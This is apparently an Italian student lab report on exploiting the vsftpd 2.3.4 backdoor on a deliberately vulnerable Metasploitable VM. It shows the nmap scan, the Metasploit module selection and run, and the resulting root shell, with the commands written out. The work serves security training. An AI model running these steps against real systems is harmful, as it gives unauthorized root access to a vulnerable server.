

PROGETTO S7/L1

TRACCIA

E' richiesto di completare una sessione di hacking sul servizio "vsftpd" della macchina Metasploitable, come discusso nella lezione teorica.

1. Configurazione dell'Indirizzo IP della vostra macchina Metasploitable: 192.168.1.149/24
2. Svolgimento dell'Attacco Utilizzando Metasploit, eseguite una sessione di hacking sul servizio "vsftpd" della macchina Metasploitable.
3. Creazione di una cartella una volta ottenuto l'accesso alla macchina Metasploitable, navigate fino alla directory di root e create una cartella chiamata test_metasploit.

Fase 1

Per configurare un IP statico in metasploitable, dopo aver effettuato l'accesso sul terminale, aprire il file etc/network/interfaces, dove successivamente sono stati inseriti IP address=192.168.1.149; netmask=255.255.255.0; IP network=192.168.1.0; IP broadcast=192.168.1.255; IP Gateway=192.168.1.1; (Figura Sx)

Viene poi eseguito un "ifconfig" dopo il riavvio della macchina per accertarsi che abbia recepito le modifiche. (Figura Dx)

```
GNU nano 2.0.7      File: /etc/network/interfaces      Modified
# This file describes the network interfaces available on your system
# and how to activate them. For more information, see interfaces(5).

# The loopback network interface
auto lo
iface lo inet loopback

# The primary network interface
auto eth0
iface eth0 inet static
address 192.168.1.149
netmask 255.255.255.0
network 192.168.1.0
broadcast 192.168.1.255
gateway 192.168.1.1

^G Get Help  ^O WriteOut  ^R Read File  ^V Prev Page  ^K Cut Text   ^C Cur Pos
^X Exit      ^J Justify   ^W Where Is   ^U Next Page  ^U UnCut Text ^T To Spell
```

```
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$ ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:e4:6f:d3
          inet addr:192.168.1.149  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fdc1:5ae8:b4dc:10:a00:27ff:fee4:6fd3/64  Scope:Global
          inet6 addr: 2a0d:3344:3239:2b10:a00:27ff:fee4:6fd3/64  Scope:Global
          inet6 addr: fe80::a00:27ff:fee4:6fd3/64  Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:71 errors:0 dropped:0 overruns:0 frame:0
          TX packets:70 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:7171 (7.0 KB)  TX bytes:6940 (6.7 KB)
          Base address:0xd020  Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:96 errors:0 dropped:0 overruns:0 frame:0
          TX packets:96 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:21437 (20.9 KB)  TX bytes:21437 (20.9 KB)
```

Fase 2

Metasploit è un software potente, ampiamente utilizzato nell'ambito della sicurezza informatica, che consente di simulare attacchi, testare la robustezza dei sistemi e aiutare le organizzazioni a rafforzare le proprie difese.

Con il comando `nmap` andiamo a scansionare le porte aperte, per ottonere la versione di quest'ultime.

```
(kali@kali)-[~]
└─$ nmap -sV 192.168.1.149
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-11 09:03 EST
Nmap scan report for 192.168.1.149
Host is up (0.00080s latency).
Not shown: 977 closed tcp ports (conn-refused)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
```

Sucessivamente avviamo Metasploit con il comando "msfconsole"

```

kali@kali:~$ msfconsole
Metasploit tip: Network adapter names can be used for IP options set LHOST
eth0

console ... \ console ... -

[*****$a*****]
[*****$S ?a*****]
[*****$a*****]
[%-----$S-----]
[%-----$SP-----]
[*****$a*****]
[*****$S-----]
[*****$S-----]

+ -- ==[ metasploit v6.4.18-dev ]
+ -- ==[ 2437 exploits - 1255 auxiliary - 429 post ]

```

In questo caso andremo ad exploitare il servizio ftp versione vsftpd, quindi inseriamo il comando “search vsftpd” per trovare i payload disponibili per quella versione. Successivamente utilizziamo il comando “use + path del payload” per scegliere l’exploit.

```
Matching Modules
```

#	Name	Disclosure Date	Rank	Check	Description
0	auxiliary/dos/ftp/vsftpd_232	2011-02-03	normal	Yes	VSFTPD 2.3.2 Denial of Service
1	exploit/unix/ftp/vsftpd_234_backdoor	2011-07-03	excellent	No	VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example `info 1`, `use 1` or `use exploit/unix/ftp/vsftpd_234_backdoor`

```
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
```

Poi configuriamo il remote host con il seguente comando «set RHOSTS 192.168.1.149».

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.1.149
RHOSTS => 192.168.1.149
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):



| Name    | Current Setting | Required | Description                                                                                                                                                                                         |
|---------|-----------------|----------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|
| CHOST   |                 | no       | The local client address                                                                                                                                                                            |
| CPORT   |                 | no       | The local client port                                                                                                                                                                               |
| Proxies |                 | no       | A proxy chain of format type:host:port[,type:host:port][ ... ]                                                                                                                                      |
| RHOSTS  | 192.168.1.149   | yes      | The target host(s), see <a href="https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html">https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html</a> |
| RPORT   | 21              | yes      | The target port (TCP)                                                                                                                                                                               |



Exploit target:



| Id | Name      |
|----|-----------|
| 0  | Automatic |


```

Lanciamo l'attacco con il comando «exploit» e successivamente facciamo un «ifconfig» per confermare che siamo dentro la macchina.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.1.149:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.1.149:21 - USER: 331 Please specify the password.
[*] 192.168.1.149:21 - Backdoor service has been spawned, handling...
[*] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.184:34091 -> 192.168.1.149:6200) at 2024-11-11 09:10:19 -0500
```

```
ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:e4:6f:d3
          inet addr:192.168.1.149  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fdc1:5ae8:b4dc:10:a00:27ff:fee4:6fd3/64  Scope:Global
```

Fase 3

Una volta ottenuto l'accesso alla macchina Metasploitable, raggiungiamo la directory di root con il comando «cd root» e creiamo una cartella chiamata test_metasploit utilizzando il comando «mkdir /test_metasploit».

```
cd root
ls
Desktop
reset_logs.sh
vnc.log
mkdir /test_metasploit1
```